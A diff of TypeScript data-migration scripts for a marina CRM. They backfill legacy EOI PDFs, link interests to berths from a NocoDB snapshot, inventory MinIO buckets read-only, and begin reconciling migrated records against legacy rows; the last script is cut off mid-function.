||||||
|
eq(migrationSourceLinks.targetEntityType, 'interest'),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
.limit(1);
|
||||||
|
if (!link) {
|
||||||
|
unresolved.push(`legacy#${r.id} (not a migrated interest)`);
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const interestId = link.interestId;
|
||||||
|
|
||||||
|
// Idempotency: skip if this attachment was already recovered.
|
||||||
|
const [already] = await db
|
||||||
|
.select({ id: migrationSourceLinks.id })
|
||||||
|
.from(migrationSourceLinks)
|
||||||
|
.where(
|
||||||
|
and(
|
||||||
|
eq(migrationSourceLinks.sourceSystem, 'nocodb_eoi_document'),
|
||||||
|
eq(migrationSourceLinks.sourceId, String(r.id)),
|
||||||
|
eq(migrationSourceLinks.targetEntityType, 'document'),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
.limit(1);
|
||||||
|
if (already) {
|
||||||
|
skipped++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const [intRow] = await db
|
||||||
|
.select({ clientId: interests.clientId, yachtId: interests.yachtId })
|
||||||
|
.from(interests)
|
||||||
|
.where(eq(interests.id, interestId))
|
||||||
|
.limit(1);
|
||||||
|
if (!intRow?.clientId) {
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const clientId = intRow.clientId;
|
||||||
|
|
||||||
|
if (DRY) {
|
||||||
|
created++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const buf = await streamToBuffer(await legacy.getObject(DATABASE_BUCKET, key));
|
||||||
|
const docId = randomUUID();
|
||||||
|
const storageKey = buildStoragePath(port.slug, 'eoi-signed', docId, randomUUID(), 'pdf');
|
||||||
|
const putRes = await backend.put(storageKey, buf, {
|
||||||
|
contentType: 'application/pdf',
|
||||||
|
sizeBytes: buf.length,
|
||||||
|
});
|
||||||
|
const folder = await ensureEntityFolder(port.id, 'client', clientId, SUPER_ADMIN_USER_ID);
|
||||||
|
const fileName = title || key.split('/').pop() || 'eoi-signed.pdf';
|
||||||
|
|
||||||
|
await db.transaction(async (tx) => {
|
||||||
|
const [f] = await tx
|
||||||
|
.insert(files)
|
||||||
|
.values({
|
||||||
|
portId: port.id,
|
||||||
|
filename: fileName,
|
||||||
|
originalName: fileName,
|
||||||
|
storagePath: putRes.key,
|
||||||
|
mimeType: 'application/pdf',
|
||||||
|
sizeBytes: String(putRes.sizeBytes),
|
||||||
|
category: 'eoi',
|
||||||
|
folderId: folder.id,
|
||||||
|
clientId,
|
||||||
|
interestId,
|
||||||
|
uploadedBy: 'system',
|
||||||
|
})
|
||||||
|
.returning({ id: files.id });
|
||||||
|
if (!f) throw new Error('files insert returned no row');
|
||||||
|
|
||||||
|
await tx.insert(documents).values({
|
||||||
|
id: docId,
|
||||||
|
portId: port.id,
|
||||||
|
interestId,
|
||||||
|
clientId,
|
||||||
|
yachtId: intRow.yachtId ?? null,
|
||||||
|
documentType: 'eoi',
|
||||||
|
title: `External EOI (legacy) - ${fileName}`,
|
||||||
|
status: 'completed',
|
||||||
|
isManualUpload: true,
|
||||||
|
signedFileId: f.id,
|
||||||
|
createdBy: SUPER_ADMIN_USER_ID,
|
||||||
|
});
|
||||||
|
|
||||||
|
await tx
|
||||||
|
.update(interests)
|
||||||
|
.set({ eoiDocStatus: 'signed', updatedAt: new Date() })
|
||||||
|
.where(eq(interests.id, interestId));
|
||||||
|
|
||||||
|
await tx.insert(migrationSourceLinks).values({
|
||||||
|
sourceSystem: 'nocodb_eoi_document',
|
||||||
|
sourceId: String(r.id),
|
||||||
|
targetEntityType: 'document',
|
||||||
|
targetEntityId: docId,
|
||||||
|
appliedId: `oldloi-${docId}`,
|
||||||
|
appliedBy: SUPER_ADMIN_USER_ID,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
created++;
|
||||||
|
}
|
||||||
|
return { total: rows.length, created, skipped, unmatched, unresolved };
|
||||||
|
}
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
if (!process.env.LEGACY_MINIO_ACCESS_KEY || !process.env.LEGACY_MINIO_SECRET_KEY) {
|
||||||
|
console.error(
|
||||||
|
'Set LEGACY_MINIO_ACCESS_KEY + LEGACY_MINIO_SECRET_KEY (legacy MinIO read creds).',
|
||||||
|
);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
const port = await resolvePort(slugArg);
|
||||||
|
console.log(
|
||||||
|
`[backfill] port=${port.slug} legacy-bucket=${LEGACY_BUCKET} ${DRY ? '(DRY RUN)' : ''}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
console.log('[backfill] Berth PDFs…');
|
||||||
|
const berthRes = await backfillBerthPdfs(port);
|
||||||
|
console.log(
|
||||||
|
` berth PDFs: ${berthRes.total} blobs → ${berthRes.attached} attached, ${berthRes.skipped} already had one, ${berthRes.unmatched} unmatched`,
|
||||||
|
);
|
||||||
|
|
||||||
|
console.log('[backfill] Signed EOIs…');
|
||||||
|
const eoiRes = await backfillEois(port);
|
||||||
|
console.log(
|
||||||
|
` EOIs: ${eoiRes.totalBlobs} blobs (${eoiRes.indexedClients} client folders) · ${eoiRes.candidates} migrated EOI docs needing a file → ${eoiRes.attached} attached, ${eoiRes.unmatched} unmatched`,
|
||||||
|
);
|
||||||
|
if (eoiRes.unresolved.length > 0) {
|
||||||
|
console.log(` ⚠ EOI docs with no name-matched legacy PDF (${eoiRes.unresolved.length}):`);
|
||||||
|
for (const n of eoiRes.unresolved.slice(0, 25)) console.log(` - ${n}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log('[backfill] Old-LOI EOIs (NocoDB `database` bucket)…');
|
||||||
|
const legacyDb = postgres(LEGACY_DB_URL, { max: 2 });
|
||||||
|
try {
|
||||||
|
const loiRes = await backfillOldLoiEois(port, legacyDb);
|
||||||
|
console.log(
|
||||||
|
` old-LOI EOIs: ${loiRes.total} attachments → ${loiRes.created} created, ${loiRes.skipped} already done, ${loiRes.unmatched} unmatched`,
|
||||||
|
);
|
||||||
|
if (loiRes.unresolved.length > 0) {
|
||||||
|
for (const n of loiRes.unresolved.slice(0, 25)) console.log(` - ${n}`);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
await legacyDb.end().catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
await closeDb();
|
||||||
|
process.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch(async (err) => {
|
||||||
|
console.error('[backfill] failed:', err);
|
||||||
|
await closeDb().catch(() => {});
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
175
scripts/migration/connect-berth-links.ts
Normal file
175
scripts/migration/connect-berth-links.ts
Normal file
@@ -0,0 +1,175 @@
|
|||||||
|
/**
|
||||||
|
* Fix-up: connect the multi-berth links the main dedup pipeline misses.
|
||||||
|
*
|
||||||
|
* The dedup pipeline migrates only each interest's single `Berth Number` text
|
||||||
|
* field; the legacy `_nc_m2m_Berths_Interests` junction (multi-berth deals) is
|
||||||
|
* not carried over by it. This reads that junction from the `nocodb_legacy`
|
||||||
|
* snapshot, resolves each legacy interest → its migrated interest (via the
|
||||||
|
* ledger) and each mooring → the migrated berth, and inserts the missing
|
||||||
|
* `interest_berths` rows.
|
||||||
|
*
|
||||||
|
* Idempotent: `ON CONFLICT (interest_id, berth_id) DO NOTHING`. Primary safety:
|
||||||
|
* only makes a berth primary when the interest has no primary yet (≤1 primary
|
||||||
|
* per interest is a partial unique index).
|
||||||
|
*
|
||||||
|
* Exposed as `connectBerthLinks(...)` so `migrate-from-nocodb.ts --apply` can
|
||||||
|
* fold it into the one-shot seed; also runnable standalone:
|
||||||
|
*
|
||||||
|
* pnpm tsx scripts/migration/connect-berth-links.ts [--port-slug port-nimara] [--dry-run]
|
||||||
|
*/
|
||||||
|
import 'dotenv/config';
|
||||||
|
import { randomUUID } from 'node:crypto';
|
||||||
|
import postgres from 'postgres';
|
||||||
|
|
||||||
|
const canonMoo = (raw: string): string => {
|
||||||
|
const m = /^([A-Za-z]+)-?0*(\d+)$/.exec((raw ?? '').trim());
|
||||||
|
return m ? `${m[1]!.toUpperCase()}${parseInt(m[2]!, 10)}` : (raw ?? '').trim();
|
||||||
|
};
|
||||||
|
|
||||||
|
export interface ConnectBerthLinksResult {
|
||||||
|
inserted: number;
|
||||||
|
madePrimary: number;
|
||||||
|
skipped: number;
|
||||||
|
unresolved: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Self-contained: opens its own CRM + legacy connections (read-only on the
|
||||||
|
* legacy snapshot), does the work, closes them, returns stats. Safe to call
|
||||||
|
* from the runner or standalone.
|
||||||
|
*/
|
||||||
|
export async function connectBerthLinks(opts: {
|
||||||
|
portSlug?: string;
|
||||||
|
dryRun?: boolean;
|
||||||
|
}): Promise<ConnectBerthLinksResult> {
|
||||||
|
const slug = opts.portSlug ?? 'port-nimara';
|
||||||
|
const dry = opts.dryRun ?? false;
|
||||||
|
|
||||||
|
const CRM_URL = process.env.DATABASE_URL!;
|
||||||
|
const LEGACY_URL = process.env.LEGACY_DB_URL ?? CRM_URL.replace(/\/[^/]+$/, '/nocodb_legacy');
|
||||||
|
const crm = postgres(CRM_URL, { max: 4 });
|
||||||
|
const legacy = postgres(LEGACY_URL, { max: 4 });
|
||||||
|
|
||||||
|
try {
|
||||||
|
const [port] = await crm`select id from ports where slug=${slug} limit 1`;
|
||||||
|
if (!port) throw new Error(`no port ${slug}`);
|
||||||
|
const portId = port.id as string;
|
||||||
|
|
||||||
|
// legacy junction: interestId → set(moorings)
|
||||||
|
const mooById = new Map<number, string>();
|
||||||
|
for (const b of await legacy`select id, "Mooring_Number" m from plplouets5zw1um."Berths"`)
|
||||||
|
mooById.set(b.id as number, canonMoo(b.m as string));
|
||||||
|
const legacyMoo = new Map<number, Set<string>>();
|
||||||
|
for (const j of await legacy`select "Interests_id" i, "Berths_id" b from plplouets5zw1um."_nc_m2m_Berths_Interests"`) {
|
||||||
|
const set = legacyMoo.get(j.i as number) ?? new Set<string>();
|
||||||
|
const m = mooById.get(j.b as number);
|
||||||
|
if (m) set.add(m);
|
||||||
|
legacyMoo.set(j.i as number, set);
|
||||||
|
}
|
||||||
|
// EOI-signed flag per legacy interest (for is_in_eoi_bundle)
|
||||||
|
const signed = new Set<number>();
|
||||||
|
for (const r of await legacy`select id, "EOI_Status" e, "LOI_NDA_Document" l from plplouets5zw1um."Interests"`) {
|
||||||
|
const e = ((r.e as string) ?? '').trim();
|
||||||
|
const l = ((r.l as string) ?? '').trim();
|
||||||
|
if (
|
||||||
|
e === 'Signed' ||
|
||||||
|
['Signing Complete', 'Signed by Client', 'Signed by Developer'].includes(l)
|
||||||
|
)
|
||||||
|
signed.add(r.id as number);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ledger: legacy interest id → new interest id
|
||||||
|
const links =
|
||||||
|
await crm`select source_id, target_entity_id from migration_source_links where source_system='nocodb_interests' and target_entity_type='interest'`;
|
||||||
|
const newInterestBySrc = new Map(
|
||||||
|
links.map((l) => [Number(l.source_id), l.target_entity_id as string]),
|
||||||
|
);
|
||||||
|
|
||||||
|
// CRM berth id by mooring (this port)
|
||||||
|
const berthByMoo = new Map(
|
||||||
|
(await crm`select id, mooring_number m from berths where port_id=${portId}`).map((b) => [
|
||||||
|
b.m as string,
|
||||||
|
b.id as string,
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
|
||||||
|
let inserted = 0;
|
||||||
|
let madePrimary = 0;
|
||||||
|
let skipped = 0;
|
||||||
|
const unresolved: string[] = [];
|
||||||
|
|
||||||
|
for (const [legacyId, moorings] of legacyMoo) {
|
||||||
|
const interestId = newInterestBySrc.get(legacyId);
|
||||||
|
if (!interestId) continue; // not a migrated interest (backup/copy tables)
|
||||||
|
const primaryCheck =
|
||||||
|
await crm`select exists(select 1 from interest_berths where interest_id=${interestId} and is_primary) as has`;
|
||||||
|
let hasPrimary = (primaryCheck[0]?.has as boolean | undefined) ?? false;
|
||||||
|
|
||||||
|
for (const moo of moorings) {
|
||||||
|
const berthId = berthByMoo.get(moo);
|
||||||
|
if (!berthId) {
|
||||||
|
unresolved.push(`${legacyId}:${moo}`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const makePrimary = !hasPrimary;
|
||||||
|
if (dry) {
|
||||||
|
inserted++;
|
||||||
|
if (makePrimary) {
|
||||||
|
madePrimary++;
|
||||||
|
hasPrimary = true;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const res = await crm`
|
||||||
|
insert into interest_berths (id, interest_id, berth_id, is_primary, is_specific_interest, is_in_eoi_bundle)
|
||||||
|
values (${randomUUID()}, ${interestId}, ${berthId}, ${makePrimary}, true, ${signed.has(legacyId)})
|
||||||
|
on conflict (interest_id, berth_id) do nothing
|
||||||
|
returning id`;
|
||||||
|
if (res.length > 0) {
|
||||||
|
inserted++;
|
||||||
|
if (makePrimary) {
|
||||||
|
madePrimary++;
|
||||||
|
hasPrimary = true;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
skipped++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return { inserted, madePrimary, skipped, unresolved };
|
||||||
|
} finally {
|
||||||
|
await crm.end().catch(() => {});
|
||||||
|
await legacy.end().catch(() => {});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Standalone CLI ──────────────────────────────────────────────────────────
|
||||||
|
function isMain(): boolean {
|
||||||
|
const arg = process.argv[1] ?? '';
|
||||||
|
return arg.includes('connect-berth-links');
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isMain()) {
|
||||||
|
const slugArg = (() => {
|
||||||
|
const i = process.argv.indexOf('--port-slug');
|
||||||
|
return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
|
||||||
|
})();
|
||||||
|
const dry = process.argv.includes('--dry-run');
|
||||||
|
|
||||||
|
connectBerthLinks({ portSlug: slugArg, dryRun: dry })
|
||||||
|
.then((r) => {
|
||||||
|
console.log(
|
||||||
|
`connect-berth-links ${dry ? '(DRY)' : ''}: inserted ${r.inserted} links (${r.madePrimary} new primary), ${r.skipped} already linked`,
|
||||||
|
);
|
||||||
|
if (r.unresolved.length)
|
||||||
|
console.log(
|
||||||
|
` ⚠ ${r.unresolved.length} moorings with no CRM berth: ${r.unresolved.slice(0, 20).join(', ')}`,
|
||||||
|
);
|
||||||
|
process.exit(0);
|
||||||
|
})
|
||||||
|
.catch((e) => {
|
||||||
|
console.error('connect-berth-links failed:', e);
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
|
}
|
||||||
102
scripts/migration/probe-minio.ts
Normal file
102
scripts/migration/probe-minio.ts
Normal file
@@ -0,0 +1,102 @@
|
|||||||
|
/**
|
||||||
|
* Read-only MinIO inventory for the legacy → new-CRM migration (Phase 2 sizing).
|
||||||
|
*
|
||||||
|
* Lists every bucket the creds can see, then for the document buckets
|
||||||
|
* (`client-portal`, `signatures`) groups objects by top-level prefix with
|
||||||
|
* counts + sizes + samples — so we can see exactly where the EOIs, berth
|
||||||
|
* PDFs, receipts and business-card images live before backfilling them.
|
||||||
|
*
|
||||||
|
* Secret-free: reads creds from env. Run with:
|
||||||
|
* MINIO_ACCESS_KEY=... MINIO_SECRET_KEY=... \
|
||||||
|
* pnpm tsx scripts/migration/probe-minio.ts
|
||||||
|
*
|
||||||
|
* Strictly read-only (listBuckets + listObjectsV2). No writes.
|
||||||
|
*/
|
||||||
|
import { Client } from 'minio';
|
||||||
|
|
||||||
|
const endPoint = process.env.MINIO_ENDPOINT || 's3.portnimara.com';
|
||||||
|
const accessKey = process.env.MINIO_ACCESS_KEY;
|
||||||
|
const secretKey = process.env.MINIO_SECRET_KEY;
|
||||||
|
|
||||||
|
if (!accessKey || !secretKey) {
|
||||||
|
console.error('Set MINIO_ACCESS_KEY and MINIO_SECRET_KEY');
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
const client = new Client({ endPoint, port: 443, useSSL: true, accessKey, secretKey });
|
||||||
|
|
||||||
|
interface PrefixStat {
|
||||||
|
count: number;
|
||||||
|
bytes: number;
|
||||||
|
samples: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
async function inventory(bucket: string) {
|
||||||
|
const byPrefix = new Map<string, PrefixStat>();
|
||||||
|
let total = 0;
|
||||||
|
let totalBytes = 0;
|
||||||
|
await new Promise<void>((resolve, reject) => {
|
||||||
|
const stream = client.listObjectsV2(bucket, '', true);
|
||||||
|
stream.on('data', (o) => {
|
||||||
|
if (!o.name) return;
|
||||||
|
total++;
|
||||||
|
totalBytes += o.size || 0;
|
||||||
|
const top = o.name.includes('/') ? o.name.split('/')[0] + '/' : '(root)';
|
||||||
|
const e = byPrefix.get(top) || { count: 0, bytes: 0, samples: [] };
|
||||||
|
e.count++;
|
||||||
|
e.bytes += o.size || 0;
|
||||||
|
if (e.samples.length < 4) e.samples.push(`${o.name} (${o.size}b)`);
|
||||||
|
byPrefix.set(top, e);
|
||||||
|
});
|
||||||
|
stream.on('end', () => resolve());
|
||||||
|
stream.on('error', reject);
|
||||||
|
});
|
||||||
|
return { bucket, total, totalBytes, byPrefix };
|
||||||
|
}
|
||||||
|
|
||||||
|
const mb = (b: number) => (b / 1e6).toFixed(1);
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
console.log(`MinIO @ ${endPoint}\n`);
|
||||||
|
|
||||||
|
let buckets: string[] = [];
|
||||||
|
try {
|
||||||
|
const list = await client.listBuckets();
|
||||||
|
buckets = list.map((b) => b.name);
|
||||||
|
console.log('=== all buckets visible to these creds ===');
|
||||||
|
for (const b of list) console.log(` ${b.name}`);
|
||||||
|
} catch (err) {
|
||||||
|
console.log(`listBuckets failed: ${(err as Error).message}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const targets = (process.env.MINIO_BUCKETS || 'client-portal,signatures')
|
||||||
|
.split(',')
|
||||||
|
.map((s) => s.trim());
|
||||||
|
|
||||||
|
for (const bucket of targets) {
|
||||||
|
if (buckets.length && !buckets.includes(bucket)) {
|
||||||
|
console.log(`\n=== bucket: ${bucket} — NOT VISIBLE to these creds ===`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const inv = await inventory(bucket);
|
||||||
|
console.log(
|
||||||
|
`\n=== bucket: ${inv.bucket} — ${inv.total} objects, ${mb(inv.totalBytes)} MB ===`,
|
||||||
|
);
|
||||||
|
const rows = [...inv.byPrefix.entries()].sort((a, z) => z[1].count - a[1].count);
|
||||||
|
for (const [prefix, e] of rows) {
|
||||||
|
console.log(
|
||||||
|
` ${prefix.padEnd(30)} ${String(e.count).padStart(5)} obj ${mb(e.bytes).padStart(8)} MB`,
|
||||||
|
);
|
||||||
|
for (const s of e.samples) console.log(` e.g. ${s}`);
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
console.log(`\n=== bucket: ${bucket} — ERROR: ${(err as Error).message} ===`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch((err) => {
|
||||||
|
console.error('probe-minio failed:', err);
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
277
scripts/migration/reconcile-migration.ts
Normal file
277
scripts/migration/reconcile-migration.ts
Normal file
@@ -0,0 +1,277 @@
|
|||||||
|
/**
|
||||||
|
* Exhaustive migration reconciliation (read-only): cross-checks EVERY migrated
|
||||||
|
* record against its legacy NocoDB source row (via the migration ledger) and
|
||||||
|
* verifies every relationship is connected. Independently re-derives the
|
||||||
|
* expected mapped values (stage, eoiStatus, berth, …) so it validates the
|
||||||
|
* migration logic, not just echoes it.
|
||||||
|
*
|
||||||
|
* Connects to BOTH local DBs:
|
||||||
|
* - CRM : DATABASE_URL (the migrated data)
|
||||||
|
* - legacy : LEGACY_DB_URL (the nocodb_legacy snapshot); defaults to the
|
||||||
|
* CRM url with the db name swapped to `nocodb_legacy`.
|
||||||
|
*
|
||||||
|
* pnpm tsx scripts/migration/reconcile-migration.ts [--port-slug port-nimara]
|
||||||
|
*/
|
||||||
|
import 'dotenv/config';
|
||||||
|
import postgres from 'postgres';
|
||||||
|
|
||||||
|
const slugArg = (() => {
|
||||||
|
const i = process.argv.indexOf('--port-slug');
|
||||||
|
return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
|
||||||
|
})();
|
||||||
|
|
||||||
|
const CRM_URL = process.env.DATABASE_URL!;
|
||||||
|
const LEGACY_URL = process.env.LEGACY_DB_URL ?? CRM_URL.replace(/\/[^/]+$/, '/nocodb_legacy');
|
||||||
|
const crm = postgres(CRM_URL, { max: 4 });
|
||||||
|
const legacy = postgres(LEGACY_URL, { max: 4 });
|
||||||
|
|
||||||
|
// ── transforms, re-implemented independently (cross-validation) ──────────────
|
||||||
|
const STAGE_MAP: Record<string, string> = {
|
||||||
|
'General Qualified Interest': 'qualified',
|
||||||
|
'Specific Qualified Interest': 'nurturing',
|
||||||
|
'EOI and NDA Sent': 'eoi',
|
||||||
|
'Signed EOI and NDA': 'eoi',
|
||||||
|
'Made Reservation': 'reservation',
|
||||||
|
'Contract Negotiation': 'contract',
|
||||||
|
'Contract Negotiations Finalized': 'contract',
|
||||||
|
'Contract Signed': 'contract',
|
||||||
|
};
|
||||||
|
const expectStage = (level: string | undefined, deposit: string | undefined): string => {
|
||||||
|
let s = STAGE_MAP[(level ?? '').trim()] ?? 'enquiry';
|
||||||
|
if ((deposit ?? '').trim() === 'Received' && s !== 'contract') s = 'deposit_paid';
|
||||||
|
return s;
|
||||||
|
};
|
||||||
|
const expectEoi = (
|
||||||
|
eoiStatus: string | undefined,
|
||||||
|
loi: string | undefined,
|
||||||
|
documensoId: string | undefined,
|
||||||
|
): string | null => {
|
||||||
|
const e = (eoiStatus ?? '').trim();
|
||||||
|
const l = (loi ?? '').trim();
|
||||||
|
if (e === 'Signed' || ['Signing Complete', 'Signed by Client', 'Signed by Developer'].includes(l))
|
||||||
|
return 'signed';
|
||||||
|
if (e === 'Waiting for Signatures' || (documensoId ?? '').trim()) return 'waiting_for_signatures';
|
||||||
|
return null;
|
||||||
|
};
|
||||||
|
const canonMoo = (raw: string): string => {
|
||||||
|
const m = /^([A-Za-z]+)-?0*(\d+)$/.exec((raw ?? '').trim());
|
||||||
|
return m ? `${m[1]!.toUpperCase()}${parseInt(m[2]!, 10)}` : (raw ?? '').trim();
|
||||||
|
};
|
||||||
|
const normEmail = (e: string) => (e ?? '').trim().toLowerCase();
|
||||||
|
|
||||||
|
const issues: string[] = [];
|
||||||
|
const add = (cat: string, msg: string) => issues.push(`[${cat}] ${msg}`);
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const [port] = await crm`select id, slug from ports where slug=${slugArg} limit 1`;
|
||||||
|
if (!port) throw new Error(`no port ${slugArg}`);
|
||||||
|
const portId = port.id as string;
|
||||||
|
|
||||||
|
// ── load legacy source (by id) ───────────────────────────────────────────
|
||||||
|
const legacyInterests = new Map<number, Record<string, unknown>>();
|
||||||
|
for (const r of await legacy`select * from plplouets5zw1um."Interests"`)
|
||||||
|
legacyInterests.set(r.id as number, r);
|
||||||
|
const legacyExpenses = new Map<number, Record<string, unknown>>();
|
||||||
|
for (const r of await legacy`select * from p3hq2fxdevqcaq8."Expenses"`)
|
||||||
|
legacyExpenses.set(r.id as number, r);
|
||||||
|
const legacyRes = new Map<number, Record<string, unknown>>();
|
||||||
|
for (const r of await legacy`select * from plplouets5zw1um."Interests (Residences)"`)
|
||||||
|
legacyRes.set(r.id as number, r);
|
||||||
|
// legacy berth links per interest (Interests_id -> [mooring])
|
||||||
|
const berthMooById = new Map<number, string>();
|
||||||
|
for (const b of await legacy`select id, "Mooring_Number" m from plplouets5zw1um."Berths"`)
|
||||||
|
berthMooById.set(b.id as number, b.m as string);
|
||||||
|
const legacyBerthsByInterest = new Map<number, string[]>();
|
||||||
|
for (const j of await legacy`select "Interests_id" i, "Berths_id" b from plplouets5zw1um."_nc_m2m_Berths_Interests"`) {
|
||||||
|
const arr = legacyBerthsByInterest.get(j.i as number) ?? [];
|
||||||
|
const moo = berthMooById.get(j.b as number);
|
||||||
|
if (moo) arr.push(canonMoo(moo));
|
||||||
|
legacyBerthsByInterest.set(j.i as number, arr);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── ledger ────────────────────────────────────────────────────────────────
|
||||||
|
const ledger =
|
||||||
|
await crm`select source_system, source_id, target_entity_type, target_entity_id from migration_source_links`;
|
||||||
|
const interestLinks = ledger.filter((l) => l.target_entity_type === 'interest'); // sourceId(legacy interest) -> new interest
|
||||||
|
const expenseLinks = ledger.filter((l) => l.target_entity_type === 'expense');
|
||||||
|
const resLinks = ledger.filter((l) => l.target_entity_type === 'residential_client');
|
||||||
|
const clientLinks = ledger.filter((l) => l.target_entity_type === 'client');
|
||||||
|
|
||||||
|
// ── 1. COVERAGE — every legacy row migrated; nothing dropped ──────────────
|
||||||
|
const migratedInterestSrc = new Set(interestLinks.map((l) => Number(l.source_id)));
|
||||||
|
const droppedInterests = [...legacyInterests.keys()].filter((id) => !migratedInterestSrc.has(id));
|
||||||
|
const migratedExpSrc = new Set(expenseLinks.map((l) => Number(l.source_id)));
|
||||||
|
const droppedExp = [...legacyExpenses.keys()].filter((id) => !migratedExpSrc.has(id));
|
||||||
|
const migratedResSrc = new Set(resLinks.map((l) => Number(l.source_id)));
|
||||||
|
const droppedRes = [...legacyRes.keys()].filter((id) => !migratedResSrc.has(id));
|
||||||
|
for (const id of droppedInterests)
|
||||||
|
add(
|
||||||
|
'COVERAGE',
|
||||||
|
`legacy interest #${id} NOT migrated (${(legacyInterests.get(id) as { Full_Name?: string }).Full_Name ?? '?'})`,
|
||||||
|
);
|
||||||
|
for (const id of droppedExp) add('COVERAGE', `legacy expense #${id} NOT migrated`);
|
||||||
|
for (const id of droppedRes) add('COVERAGE', `legacy residential #${id} NOT migrated`);
|
||||||
|
|
||||||
|
// ── 2. INTEREST field fidelity (every migrated deal vs legacy) ────────────
|
||||||
|
const newInterests = await crm`
|
||||||
|
select i.id, i.pipeline_stage, i.lead_category, i.source, i.eoi_status, i.documenso_id, i.client_id, i.yacht_id
|
||||||
|
from interests i where i.port_id=${portId}`;
|
||||||
|
const newInterestById = new Map(newInterests.map((i) => [i.id as string, i]));
|
||||||
|
// berths per new interest
|
||||||
|
const ibRows = await crm`
|
||||||
|
select ib.interest_id, b.mooring_number from interest_berths ib join berths b on b.id=ib.berth_id where b.port_id=${portId}`;
|
||||||
|
const newBerthsByInterest = new Map<string, string[]>();
|
||||||
|
for (const r of ibRows) {
|
||||||
|
const a = newBerthsByInterest.get(r.interest_id as string) ?? [];
|
||||||
|
a.push(r.mooring_number as string);
|
||||||
|
newBerthsByInterest.set(r.interest_id as string, a);
|
||||||
|
}
|
||||||
|
let stageMiss = 0,
|
||||||
|
eoiMiss = 0,
|
||||||
|
docMiss = 0,
|
||||||
|
berthMiss = 0;
|
||||||
|
for (const l of interestLinks) {
|
||||||
|
const legacyRow = legacyInterests.get(Number(l.source_id));
|
||||||
|
const ni = newInterestById.get(l.target_entity_id as string);
|
||||||
|
if (!legacyRow || !ni) {
|
||||||
|
add(
|
||||||
|
'INTEGRITY',
|
||||||
|
`interest link sourceId=${l.source_id} → ${l.target_entity_id}: ${!legacyRow ? 'legacy row missing' : 'new interest missing'}`,
|
||||||
|
);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const lr = legacyRow as Record<string, string>;
|
||||||
|
const exp = expectStage(lr.Sales_Process_Level, lr.Deposit_10__Status);
|
||||||
|
if (ni.pipeline_stage !== exp) {
|
||||||
|
stageMiss++;
|
||||||
|
add(
|
||||||
|
'STAGE',
|
||||||
|
`interest src#${l.source_id} (${lr.Full_Name}): legacy "${lr.Sales_Process_Level}" → expected ${exp}, got ${ni.pipeline_stage}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const expEoi = expectEoi(lr.EOI_Status, lr.LOI_NDA_Document, lr.documensoID);
|
||||||
|
if ((ni.eoi_status ?? null) !== expEoi) {
|
||||||
|
eoiMiss++;
|
||||||
|
add(
|
||||||
|
'EOI',
|
||||||
|
`interest src#${l.source_id} (${lr.Full_Name}): expected eoiStatus ${expEoi}, got ${ni.eoi_status}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if ((ni.documenso_id ?? null) !== ((lr.documensoID ?? '').trim() || null)) {
|
||||||
|
docMiss++;
|
||||||
|
add(
|
||||||
|
'DOCID',
|
||||||
|
`interest src#${l.source_id} (${lr.Full_Name}): documensoId legacy="${lr.documensoID}" vs new="${ni.documenso_id}"`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
// berth: every legacy-linked mooring should be present on the new interest
|
||||||
|
const legacyMoo = new Set([...(legacyBerthsByInterest.get(Number(l.source_id)) ?? [])]);
|
||||||
|
if (lr.Berth_Number && /^[A-Za-z]+-?0*\d+$/.test(lr.Berth_Number.trim()))
|
||||||
|
legacyMoo.add(canonMoo(lr.Berth_Number));
|
||||||
|
const newMoo = new Set(newBerthsByInterest.get(ni.id as string) ?? []);
|
||||||
|
const missingBerths = [...legacyMoo].filter((m) => !newMoo.has(m));
|
||||||
|
if (missingBerths.length > 0) {
|
||||||
|
berthMiss++;
|
||||||
|
add(
|
||||||
|
'BERTH',
|
||||||
|
`interest src#${l.source_id} (${lr.Full_Name}): legacy berths [${[...legacyMoo].join(',')}] but new has [${[...newMoo].join(',') || '-'}] (missing ${missingBerths.join(',')})`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
